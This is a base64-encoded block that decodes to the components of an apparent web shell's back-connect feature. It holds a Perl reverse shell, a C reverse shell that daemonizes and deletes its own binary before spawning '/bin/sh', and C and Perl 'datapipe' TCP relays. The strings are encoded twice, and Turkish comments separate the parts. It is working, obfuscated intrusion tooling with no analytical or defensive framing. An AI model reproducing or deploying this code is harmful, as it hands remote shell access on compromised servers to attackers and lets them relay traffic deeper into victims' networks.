JVZ1UyOWphMlYwT3cwS0pHTnRaRDBnSW14NWJuZ2lPdzBLSkhONWMzUmxiVDBnSjJWamFHOGdJbUIxYm1GdFpTQXRZV0FpTzJWag0KYUc4Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUg0KaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVA0Kc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSQ0Ka1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaQ0KS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sS0ZOVVJFbA0KT0tUc05DbU5zYjNObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoVFZFUkZVbElwT3c9PSI7DQoNCi8qID8/U1QgU0FUSVJJTiBLSVJJTE1JPz8gSEFMP7AgKi8NCi8qDQoNCiMhL3Vzci9iaW4vcGVybA0KdXNlIFNvY2tldDsNCiRjbWQ9ICJseW54IjsNCiRzeXN0ZW09ICdlY2hvICJgdW5hbWUgLWFgIjtlY2hvICJgaWRgIjsvYmluL3NoJzsNCiQwPSRjbWQ7DQokdGFyZ2V0PSRBUkdWWzBdOw0KJHBvcnQ9JEFSR1ZbMV07DQokaWFkZHI9aW5ldF9hdG9uKCR0YXJnZXQpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwYWRkcj1zb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcHJvdG89Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KY29ubmVjdChTT0NLRVQsICRwYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0Kb3BlbihTVERJTiwgIj4mU09DS0VUIik7DQpvcGVuKFNURE9VVCwgIj4mU09DS0VUIik7DQpvcGVuKFNUREVSUiwgIj4mU09DS0VUIik7DQpzeXN0ZW0oJHN5c3RlbSk7DQpjbG9zZShTVERJTik7DQpjbG9zZShTVERPVVQpOw0KY2xvc2UoU1RERVJSKTsNCg0KKi8NCg0KJGJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQw0KQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBEUXA3RFFvZ2FXNTBJR1prT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnphVzQ3RFFvZ1kyaGhjaUJ5YlhOYk1qRmRQU0p5Yg0KU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZA0KS1NrN0RRb2djMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISg0Kc1pXNG9ZWEpuZGxzeVhTa3BPeUFOQ2lCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc2dEUW9nYVdZZ0tDaGpiMjV1WldOMEtHWmtMQw0KQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RA0KUW9nSUNCbGVHbDBLREFwT3cwS0lIME5DaUJ6ZEhKallYUW9jbTF6TENCaGNtZDJXekJkS1RzTkNpQnplWE4wWlcwb2NtMXpLVHNnSUEwS0lHUjFjRElvWm1Rc0lEQXBPdzBLSUdSMWNESW9abVFzSURFcA0KT3cwS0lHUjFjRElvWm1Rc0lESXBPdzBLSUdWNFpXTnNLQ0l2WW1sdUwzTm9JaXdpYzJnZ0xXa2lMQ0JPVlV4TUtUc05DaUJqYkc5elpTaG1aQ2s3SUEwS2ZRPT0iOw0KDQoNCi8qID8/U1QgU0FUSVJJTiBLSVJJTE1JPz8gSEFMP7AgKi8NCi8qDQoNCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxuZXRpbmV0L2luLmg+DQppbnQgbWFpbihpbnQgYXJnYywgY2hhciAqYXJndltdKQ0Kew0KIGludCBmZDsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gc2luOw0KIGNoYXIgcm1zWzIxXT0icm0gLWYgIjsgDQogZGFlbW9uKDEsMCk7DQogc2luLnNpbl9mYW1pbHkgPSBBRl9JTkVUOw0KIHNpbi5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsyXSkpOw0KIHNpbi5zaW5fYWRkci5zX2FkZHIgPSBpbmV0X2FkZHIoYXJndlsxXSk7IA0KIGJ6ZXJvKGFyZ3ZbMV0sc3RybGVuKGFyZ3ZbMV0pKzErc3RybGVuKGFyZ3ZbMl0pKTsgDQogZmQgPSBzb2NrZXQoQUZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSA7IA0KIGlmICgoY29ubmVjdChmZCwgKHN0cnVjdCBzb2NrYWRkciAqKSAmc2luLCBzaXplb2Yoc3RydWN0IHNvY2thZGRyKSkpPDApIHsNCiAgIHBlcnJvcigiWy1dIGNvbm5lY3QoKSIpOw0KICAgZXhpdCgwKTsNCiB9DQogc3RyY2F0KHJtcywgYXJndlswXSk7DQogc3lzdGVtKHJtcyk7ICANCiBkdXAyKGZkLCAwKTsNCiBkdXAyKGZkLCAxKTsNCiBkdXAyKGZkLCAyKTsNCiBleGVjbCgiL2Jpbi9zaCIsInNoIC1pIiwgTlVMTCk7DQogY2xvc2UoZmQpOyANCn0NCg0KKi8NCg0KDQokZGF0YXBpcGVfYz0iSTJsdVkyeDFaR1VnUEhONWN5OTBlWEJsY3k1b1BnMEtJMmx1WTJ4MVpHVWdQSE41Y3k5emIyTnJaWFF1YUQ0TkNpTnBibU5zZFdSbElEeHplWE12ZDJGcGRDNW9QZzBLSTJsdVkyDQp4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNpTnBibU5zZFdSbElEeHpkR1JwYnk1b1BnMEtJMmx1WTJ4MVpHVWdQSE4wWkd4cFlpNW9QZzBLSTJsdVkyeDFaR1VnUEdWeWNtNXZMbWcrRFFvamFXNWpiDQpIVmtaU0E4ZFc1cGMzUmtMbWcrRFFvamFXNWpiSFZrWlNBOGJtVjBaR0l1YUQ0TkNpTnBibU5zZFdSbElEeHNhVzUxZUM5MGFXMWxMbWcrRFFvamFXWmtaV1lnVTFSU1JWSlNUMUlOQ21WNGRHVnliaUJqDQphR0Z5SUNwemVYTmZaWEp5YkdsemRGdGRPdzBLWlhoMFpYSnVJR2x1ZENCemVYTmZibVZ5Y2pzTkNtTm9ZWElnS25WdVpHVm1JRDBnSWxWdVpHVm1hVzVsWkNCbGNuSnZjaUk3RFFwamFHRnlJQ3B6ZEhKDQpsY25KdmNpaGxjbkp2Y2lrZ0lBMEthVzUwSUdWeWNtOXlPeUFnRFFwN0lBMEthV1lnS0dWeWNtOXlJRDRnYzNselgyNWxjbklwRFFweVpYUjFjbTRnZFc1a1pXWTdEUXB5WlhSMWNtNGdjM2x6WDJWeWNtDQp4cGMzUmJaWEp5YjNKZE93MEtmUTBLSTJWdVpHbG1EUW9OQ20xaGFXNG9ZWEpuWXl3Z1lYSm5kaWtnSUEwS0lDQnBiblFnWVhKbll6c2dJQTBLSUNCamFHRnlJQ29xWVhKbmRqc2dJQTBLZXlBTkNpQWdhDQpXNTBJR3h6YjJOckxDQmpjMjlqYXl3Z2IzTnZZMnM3RFFvZ0lFWkpURVVnS21ObWFXeGxPdzBLSUNCamFHRnlJR0oxWmxzME1EazJYVHNOQ2lBZ2MzUnlkV04wSUhOdlkydGhaR1J5WDJsdUlHeGhaR1J5DQpMQ0JqWVdSa2Npd2diMkZrWkhJN0RRb2dJR2x1ZENCallXUmtjbXhsYmlBOUlITnBlbVZ2WmloallXUmtjaWs3RFFvZ0lHWmtYM05sZENCbVpITnlMQ0JtWkhObE93MEtJQ0J6ZEhKMVkzUWdhRzl6ZEdWDQp1ZENBcWFEc05DaUFnYzNSeWRXTjBJSE5sY25abGJuUWdLbk03RFFvZ0lHbHVkQ0J1WW5sME93MEtJQ0IxYm5OcFoyNWxaQ0JzYjI1bklHRTdEUW9nSUhWdWMybG5ibVZrSUhOb2IzSjBJRzl3YjNKME93DQowS0RRb2dJR2xtSUNoaGNtZGpJQ0U5SURRcElIc05DaUFnSUNCbWNISnBiblJtS0hOMFpHVnljaXdpVlhOaFoyVTZJQ1Z6SUd4dlkyRnNjRzl5ZENCeVpXMXZkR1Z3YjNKMElISmxiVzkwWldodmMzUmNiDQppSXNZWEpuZGxzd1hTazdEUW9nSUNBZ2NtVjBkWEp1SURNd093MEtJQ0I5RFFvZ0lHRWdQU0JwYm1WMFgyRmtaSElvWVhKbmRsc3pYU2s3RFFvZ0lHbG1JQ2doS0dnZ1BTQm5aWFJvYjNOMFlubHVZVzFsDQpLR0Z5WjNaYk0xMHBLU0FtSmcwS0lDQWdJQ0FnSVNob0lEMGdaMlYwYUc5emRHSjVZV1JrY2lnbVlTd2dOQ3dnUVVaZlNVNUZWQ2twS1NCN0RRb2dJQ0FnY0dWeWNtOXlLR0Z5WjNaYk0xMHBPdzBLSUNBDQpnSUhKbGRIVnliaUF5TlRzTkNpQWdmUTBLSUNCdmNHOXlkQ0E5SUdGMGIyd29ZWEpuZGxzeVhTazdEUW9nSUd4aFpHUnlMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9LSFZ1YzJsbmJtVmtJSE5vYjNKMEtTDQpoaGRHOXNLR0Z5WjNaYk1WMHBLU2s3RFFvZ0lHbG1JQ2dvYkhOdlkyc2dQU0J6YjJOclpYUW9VRVpmU1U1RlZDd2dVMDlEUzE5VFZGSkZRVTBzSUVsUVVGSlBWRTlmVkVOUUtTa2dQVDBnTFRFcElIc05DDQppQWdJQ0J3WlhKeWIzSW9Jbk52WTJ0bGRDSXBPdzBLSUNBZ0lISmxkSFZ5YmlBeU1Ec05DaUFnZlEwS0lDQnNZV1JrY2k1emFXNWZabUZ0YVd4NUlEMGdhSFJ2Ym5Nb1FVWmZTVTVGVkNrN0RRb2dJR3hoDQpaR1J5TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdoMGIyNXNLREFwT3cwS0lDQnBaaUFvWW1sdVpDaHNjMjlqYXl3Z0pteGhaR1J5TENCemFYcGxiMllvYkdGa1pISXBLU2tnZXcwS0lDQWdJSEJsY25KDQp2Y2lnaVltbHVaQ0lwT3cwS0lDQWdJSEpsZEhWeWJpQXlNRHNOQ2lBZ2ZRMEtJQ0JwWmlBb2JHbHpkR1Z1S0d4emIyTnJMQ0F4S1NrZ2V3MEtJQ0FnSUhCbGNuSnZjaWdpYkdsemRHVnVJaWs3RFFvZ0lDDQpBZ2NtVjBkWEp1SURJd093MEtJQ0I5RFFvZ0lHbG1JQ2dvYm1KNWRDQTlJR1p2Y21zb0tTa2dQVDBnTFRFcElIc05DaUFnSUNCd1pYSnliM0lvSW1admNtc2lLVHNOQ2lBZ0lDQnlaWFIxY200Z01qQTdEDQpRb2dJSDBOQ2lBZ2FXWWdLRzVpZVhRZ1BpQXdLUTBLSUNBZ0lISmxkSFZ5YmlBd093MEtJQ0J6WlhSemFXUW9LVHNOQ2lBZ2QyaHBiR1VnS0NoamMyOWpheUE5SUdGalkyVndkQ2hzYzI5amF5d2dKbU5oDQpaR1J5TENBbVkyRmtaSEpzWlc0cEtTQWhQU0F0TVNrZ2V3MEtJQ0FnSUdObWFXeGxJRDBnWm1SdmNHVnVLR056YjJOckxDSnlLeUlwT3cwS0lDQWdJR2xtSUNnb2JtSjVkQ0E5SUdadmNtc29LU2tnUFQwDQpnTFRFcElIc05DaUFnSUNBZ0lHWndjbWx1ZEdZb1kyWnBiR1VzSUNJMU1EQWdabTl5YXpvZ0pYTmNiaUlzSUhOMGNtVnljbTl5S0dWeWNtNXZLU2s3RFFvZ0lDQWdJQ0J6YUhWMFpHOTNiaWhqYzI5amF5DQp3eUtUc05DaUFnSUNBZ0lHWmpiRzl6WlNoalptbHNaU2s3RFFvZ0lDQWdJQ0JqYjI1MGFXNTFaVHNOQ2lBZ0lDQjlEUW9nSUNBZ2FXWWdLRzVpZVhRZ1BUMGdNQ2tOQ2lBZ0lDQWdJR2R2ZEc4Z1oyOTBjDQoyOWphenNOQ2lBZ0lDQm1ZMnh2YzJVb1kyWnBiR1VwT3cwS0lDQWdJSGRvYVd4bElDaDNZV2wwY0dsa0tDMHhMQ0JPVlV4TUxDQlhUazlJUVU1SEtTQStJREFwT3cwS0lDQjlEUW9nSUhKbGRIVnliaUF5DQpNRHNOQ2cwS0lHZHZkSE52WTJzNkRRb2dJR2xtSUNnb2IzTnZZMnNnUFNCemIyTnJaWFFvVUVaZlNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lFbFFVRkpQVkU5ZlZFTlFLU2tnUFQwZ0xURXBJSHNOQ2lBDQpnSUNCbWNISnBiblJtS0dObWFXeGxMQ0FpTlRBd0lITnZZMnRsZERvZ0pYTmNiaUlzSUhOMGNtVnljbTl5S0dWeWNtNXZLU2s3RFFvZ0lDQWdaMjkwYnlCeGRXbDBNVHNOQ2lBZ2ZRMEtJQ0J2WVdSa2NpDQo1emFXNWZabUZ0YVd4NUlEMGdhQzArYUY5aFpHUnlkSGx3WlRzTkNpQWdiMkZrWkhJdWMybHVYM0J2Y25RZ1BTQm9kRzl1Y3lodmNHOXlkQ2s3RFFvZ0lHMWxiV053ZVNnbWIyRmtaSEl1YzJsdVgyRmtaDQpISXNJR2d0UG1oZllXUmtjaXdnYUMwK2FGOXNaVzVuZEdncE93MEtJQ0JwWmlBb1kyOXVibVZqZENodmMyOWpheXdnSm05aFpHUnlMQ0J6YVhwbGIyWW9iMkZrWkhJcEtTa2dldzBLSUNBZ0lHWndjbWx1DQpkR1lvWTJacGJHVXNJQ0kxTURBZ1kyOXVibVZqZERvZ0pYTmNiaUlzSUhOMGNtVnljbTl5S0dWeWNtNXZLU2s3RFFvZ0lDQWdaMjkwYnlCeGRXbDBNVHNOQ2lBZ2ZRMEtJQ0IzYUdsc1pTQW9NU2tnZXcwDQpLSUNBZ0lFWkVYMXBGVWs4b0ptWmtjM0lwT3cwS0lDQWdJRVpFWDFwRlVrOG9KbVprYzJVcE93MEtJQ0FnSUVaRVgxTkZWQ2hqYzI5amF5d21abVJ6Y2lrN0RRb2dJQ0FnUmtSZlUwVlVLR056YjJOckxDDQpabVpITmxLVHNOQ2lBZ0lDQkdSRjlUUlZRb2IzTnZZMnNzSm1aa2MzSXBPdzBLSUNBZ0lFWkVYMU5GVkNodmMyOWpheXdtWm1SelpTazdEUW9nSUNBZ2FXWWdLSE5sYkdWamRDZ3lNQ3dnSm1aa2MzSXNJDQpFNVZURXdzSUNabVpITmxMQ0JPVlV4TUtTQTlQU0F0TVNrZ2V3MEtJQ0FnSUNBZ1puQnlhVzUwWmloalptbHNaU3dnSWpVd01DQnpaV3hsWTNRNklDVnpYRzRpTENCemRISmxjbkp2Y2lobGNuSnVieWtwDQpPdzBLSUNBZ0lDQWdaMjkwYnlCeGRXbDBNanNOQ2lBZ0lDQjlEUW9nSUNBZ2FXWWdLRVpFWDBsVFUwVlVLR056YjJOckxDWm1aSE55S1NCOGZDQkdSRjlKVTFORlZDaGpjMjlqYXl3bVptUnpaU2twSUhzDQpOQ2lBZ0lDQWdJR2xtSUNnb2JtSjVkQ0E5SUhKbFlXUW9ZM052WTJzc1luVm1MRFF3T1RZcEtTQThQU0F3S1EwS0NXZHZkRzhnY1hWcGRESTdEUW9nSUNBZ0lDQnBaaUFvS0hkeWFYUmxLRzl6YjJOckxHDQpKMVppeHVZbmwwS1NrZ1BEMGdNQ2tOQ2dsbmIzUnZJSEYxYVhReU93MEtJQ0FnSUgwZ1pXeHpaU0JwWmlBb1JrUmZTVk5UUlZRb2IzTnZZMnNzSm1aa2MzSXBJSHg4SUVaRVgwbFRVMFZVS0c5emIyTnJMDQpDWm1aSE5sS1NrZ2V3MEtJQ0FnSUNBZ2FXWWdLQ2h1WW5sMElEMGdjbVZoWkNodmMyOWpheXhpZFdZc05EQTVOaWtwSUR3OUlEQXBEUW9KWjI5MGJ5QnhkV2wwTWpzTkNpQWdJQ0FnSUdsbUlDZ29kM0pwDQpkR1VvWTNOdlkyc3NZblZtTEc1aWVYUXBLU0E4UFNBd0tRMEtDV2R2ZEc4Z2NYVnBkREk3RFFvZ0lDQWdmUTBLSUNCOURRb05DaUJ4ZFdsME1qb05DaUFnYzJoMWRHUnZkMjRvYjNOdlkyc3NNaWs3RFFvDQpnSUdOc2IzTmxLRzl6YjJOcktUc05DaUJ4ZFdsME1Ub05DaUFnWm1ac2RYTm9LR05tYVd4bEtUc05DaUFnYzJoMWRHUnZkMjRvWTNOdlkyc3NNaWs3RFFvZ2NYVnBkREE2RFFvZ0lHWmpiRzl6WlNoalptDQpsc1pTazdEUW9nSUhKbGRIVnliaUF3T3cwS2ZRPT0iOw0KDQovKiA/P1NUIFNBVElSSU4gS0lSSUxNST8/IEhBTD+wICovDQovKg0KDQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPHN5cy93YWl0Lmg+DQojaW5jbHVkZSA8bmV0aW5ldC9pbi5oPg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+DQojaW5jbHVkZSA8ZXJybm8uaD4NCiNpbmNsdWRlIDx1bmlzdGQuaD4NCiNpbmNsdWRlIDxuZXRkYi5oPg0KI2luY2x1ZGUgPGxpbnV4L3RpbWUuaD4NCiNpZmRlZiBTVFJFUlJPUg0KZXh0ZXJuIGNoYXIgKnN5c19lcnJsaXN0W107DQpleHRlcm4gaW50IHN5c19uZXJyOw0KY2hhciAqdW5kZWYgPSAiVW5kZWZpbmVkIGVycm9yIjsNCmNoYXIgKnN0cmVycm9yKGVycm9yKSAgDQppbnQgZXJyb3I7ICANCnsgDQppZiAoZXJyb3IgPiBzeXNfbmVycikNCnJldHVybiB1bmRlZjsNCnJldHVybiBzeXNfZXJybGlzdFtlcnJvcl07DQp9DQojZW5kaWYNCg0KbWFpbihhcmdjLCBhcmd2KSAgDQogIGludCBhcmdjOyAgDQogIGNoYXIgKiphcmd2OyAgDQp7IA0KICBpbnQgbHNvY2ssIGNzb2NrLCBvc29jazsNCiAgRklMRSAqY2ZpbGU7DQogIGNoYXIgYnVmWzQwOTZdOw0KICBzdHJ1Y3Qgc29ja2FkZHJfaW4gbGFkZHIsIGNhZGRyLCBvYWRkcjsNCiAgaW50IGNhZGRybGVuID0gc2l6ZW9mKGNhZGRyKTsNCiAgZmRfc2V0IGZkc3IsIGZkc2U7DQogIHN0cnVjdCBob3N0ZW50ICpoOw0KICBzdHJ1Y3Qgc2VydmVudCAqczsNCiAgaW50IG5ieXQ7DQogIHVuc2lnbmVkIGxvbmcgYTsNCiAgdW5zaWduZWQgc2hvcnQgb3BvcnQ7DQoNCiAgaWYgKGFyZ2MgIT0gNCkgew0KICAgIGZwcmludGYoc3RkZXJyLCJVc2FnZTogJXMgbG9jYWxwb3J0IHJlbW90ZXBvcnQgcmVtb3RlaG9zdFxuIixhcmd2WzBdKTsNCiAgICByZXR1cm4gMzA7DQogIH0NCiAgYSA9IGluZXRfYWRkcihhcmd2WzNdKTsNCiAgaWYgKCEoaCA9IGdldGhvc3RieW5hbWUoYXJndlszXSkpICYmDQogICAgICAhKGggPSBnZXRob3N0YnlhZGRyKCZhLCA0LCBBRl9JTkVUKSkpIHsNCiAgICBwZXJyb3IoYXJndlszXSk7DQogICAgcmV0dXJuIDI1Ow0KICB9DQogIG9wb3J0ID0gYXRvbChhcmd2WzJdKTsNCiAgbGFkZHIuc2luX3BvcnQgPSBodG9ucygodW5zaWduZWQgc2hvcnQpKGF0b2woYXJndlsxXSkpKTsNCiAgaWYgKChsc29jayA9IHNvY2tldChQRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApKSA9PSAtMSkgew0KICAgIHBlcnJvcigic29ja2V0Iik7DQogICAgcmV0dXJuIDIwOw0KICB9DQogIGxhZGRyLnNpbl9mYW1pbHkgPSBodG9ucyhBRl9JTkVUKTsNCiAgbGFkZHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoMCk7DQogIGlmIChiaW5kKGxzb2NrLCAmbGFkZHIsIHNpemVvZihsYWRkcikpKSB7DQogICAgcGVycm9yKCJiaW5kIik7DQogICAgcmV0dXJuIDIwOw0KICB9DQogIGlmIChsaXN0ZW4obHNvY2ssIDEpKSB7DQogICAgcGVycm9yKCJsaXN0ZW4iKTsNCiAgICByZXR1cm4gMjA7DQogIH0NCiAgaWYgKChuYnl0ID0gZm9yaygpKSA9PSAtMSkgew0KICAgIHBlcnJvcigiZm9yayIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobmJ5dCA+IDApDQogICAgcmV0dXJuIDA7DQogIHNldHNpZCgpOw0KICB3aGlsZSAoKGNzb2NrID0gYWNjZXB0KGxzb2NrLCAmY2FkZHIsICZjYWRkcmxlbikpICE9IC0xKSB7DQogICAgY2ZpbGUgPSBmZG9wZW4oY3NvY2ssInIrIik7DQogICAgaWYgKChuYnl0ID0gZm9yaygpKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBmb3JrOiAlc1xuIiwgc3RyZXJyb3IoZXJybm8pKTsNCiAgICAgIHNodXRkb3duKGNzb2NrLDIpOw0KICAgICAgZmNsb3NlKGNmaWxlKTsNCiAgICAgIGNvbnRpbnVlOw0KICAgIH0NCiAgICBpZiAobmJ5dCA9PSAwKQ0KICAgICAgZ290byBnb3Rzb2NrOw0KICAgIGZjbG9zZShjZmlsZSk7DQogICAgd2hpbGUgKHdhaXRwaWQoLTEsIE5VTEwsIFdOT0hBTkcpID4gMCk7DQogIH0NCiAgcmV0dXJuIDIwOw0KDQogZ290c29jazoNCiAgaWYgKChvc29jayA9IHNvY2tldChQRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApKSA9PSAtMSkgew0KICAgIGZwcmludGYoY2ZpbGUsICI1MDAgc29ja2V0OiAlc1xuIiwgc3RyZXJyb3IoZXJybm8pKTsNCiAgICBnb3RvIHF1aXQxOw0KICB9DQogIG9hZGRyLnNpbl9mYW1pbHkgPSBoLT5oX2FkZHJ0eXBlOw0KICBvYWRkci5zaW5fcG9ydCA9IGh0b25zKG9wb3J0KTsNCiAgbWVtY3B5KCZvYWRkci5zaW5fYWRkciwgaC0+aF9hZGRyLCBoLT5oX2xlbmd0aCk7DQogIGlmIChjb25uZWN0KG9zb2NrLCAmb2FkZHIsIHNpemVvZihvYWRkcikpKSB7DQogICAgZnByaW50ZihjZmlsZSwgIjUwMCBjb25uZWN0OiAlc1xuIiwgc3RyZXJyb3IoZXJybm8pKTsNCiAgICBnb3RvIHF1aXQxOw0KICB9DQogIHdoaWxlICgxKSB7DQogICAgRkRfWkVSTygmZmRzcik7DQogICAgRkRfWkVSTygmZmRzZSk7DQogICAgRkRfU0VUKGNzb2NrLCZmZHNyKTsNCiAgICBGRF9TRVQoY3NvY2ssJmZkc2UpOw0KICAgIEZEX1NFVChvc29jaywmZmRzcik7DQogICAgRkRfU0VUKG9zb2NrLCZmZHNlKTsNCiAgICBpZiAoc2VsZWN0KDIwLCAmZmRzciwgTlVMTCwgJmZkc2UsIE5VTEwpID09IC0xKSB7DQogICAgICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNlbGVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBnb3RvIHF1aXQyOw0KICAgIH0NCiAgICBpZiAoRkRfSVNTRVQoY3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKGNzb2NrLCZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChjc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3JpdGUob3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfSBlbHNlIGlmIChGRF9JU1NFVChvc29jaywmZmRzcikgfHwgRkRfSVNTRVQob3NvY2ssJmZkc2UpKSB7DQogICAgICBpZiAoKG5ieXQgPSByZWFkKG9zb2NrLGJ1Ziw0MDk2KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgICAgaWYgKCh3cml0ZShjc29jayxidWYsbmJ5dCkpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICB9DQogIH0NCg0KIHF1aXQyOg0KICBzaHV0ZG93bihvc29jaywyKTsNCiAgY2xvc2Uob3NvY2spOw0KIHF1aXQxOg0KICBmZmx1c2goY2ZpbGUpOw0KICBzaHV0ZG93bihjc29jaywyKTsNCiBxdWl0MDoNCiAgZmNsb3NlKGNmaWxlKTsNCiAgcmV0dXJuIDA7DQp9DQoNCiovDQoNCiRkYXRhcGlwZV9wbD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DblZ6WlNCUVQxTkpXRHNOQ2lSc2IyTmhiSEJ2Y25RZ1BTQWtRVkpIVmxzd1hUc05DaVJvYjNOMEkNCkNBZ0lDQWdQU0FrUVZKSFZsc3hYVHNOQ2lSd2IzSjBJQ0FnSUNBZ1BTQWtRVkpIVmxzeVhUc05DaVJrWVdWdGIyNDlNVHNOQ2lSRVNWSWdQU0IxYm1SbFpqc05DaVI4SUQwZ01Uc05DbWxtSUNna1pHRmwNCmJXOXVLWHNnSkhCcFpDQTlJR1p2Y21zN0lHVjRhWFFnYVdZZ0pIQnBaRHNnWkdsbElDSWtJU0lnZFc1c1pYTnpJR1JsWm1sdVpXUW9KSEJwWkNrN0lGQlBVMGxZT2pwelpYUnphV1FvS1NCdmNpQmthV1UNCmdJaVFoSWpzZ2ZRMEtKVzhnUFNBb0ozQnZjblFuSUQwK0lDUnNiMk5oYkhCdmNuUXNKM1J2Y0c5eWRDY2dQVDRnSkhCdmNuUXNKM1J2YUc5emRDY2dQVDRnSkdodmMzUXBPdzBLSkdGb0lEMGdTVTg2T2wNCk52WTJ0bGREbzZTVTVGVkMwK2JtVjNLQ2RNYjJOaGJGQnZjblFuSUQwK0lDUnNiMk5oYkhCdmNuUXNKMUpsZFhObEp5QTlQaUF4TENkTWFYTjBaVzRuSUQwK0lERXdLU0I4ZkNCa2FXVWdJaVFoSWpzTkMNCmlSVFNVZDdKME5JVEVRbmZTQTlJQ2RKUjA1UFVrVW5PdzBLSkc1MWJTQTlJREE3RFFwM2FHbHNaU0FvTVNrZ2V5QU5DaVJqYUNBOUlDUmhhQzArWVdOalpYQjBLQ2s3SUdsbUlDZ2hKR05vS1NCN0lIQnkNCmFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN0lHNWxlSFE3SUgwTkNpc3JKRzUxYlRzTkNpUndhV1FnUFNCbWIzSnJLQ2s3RFFwcFppQW9JV1JsWm1sdVpXUW9KSEJwWkNrcElIc2djSEpwYm5RZ1UxUkVSVkoNClNJQ0lrSVZ4dUlqc2dmU0FOQ21Wc2MybG1JQ2drY0dsa0lEMDlJREFwSUhzZ0pHRm9MVDVqYkc5elpTZ3BPeUJTZFc0b1hDVnZMQ0FrWTJnc0lDUnVkVzBwT3lCOUlBMEtaV3h6WlNCN0lDUmphQzArWTINCnh2YzJVb0tUc2dmUTBLZlEwS2MzVmlJRkoxYmlCN0RRcHRlU2drYnl3Z0pHTm9MQ0FrYm5WdEtTQTlJRUJmT3cwS2JYa2dKSFJvSUQwZ1NVODZPbE52WTJ0bGREbzZT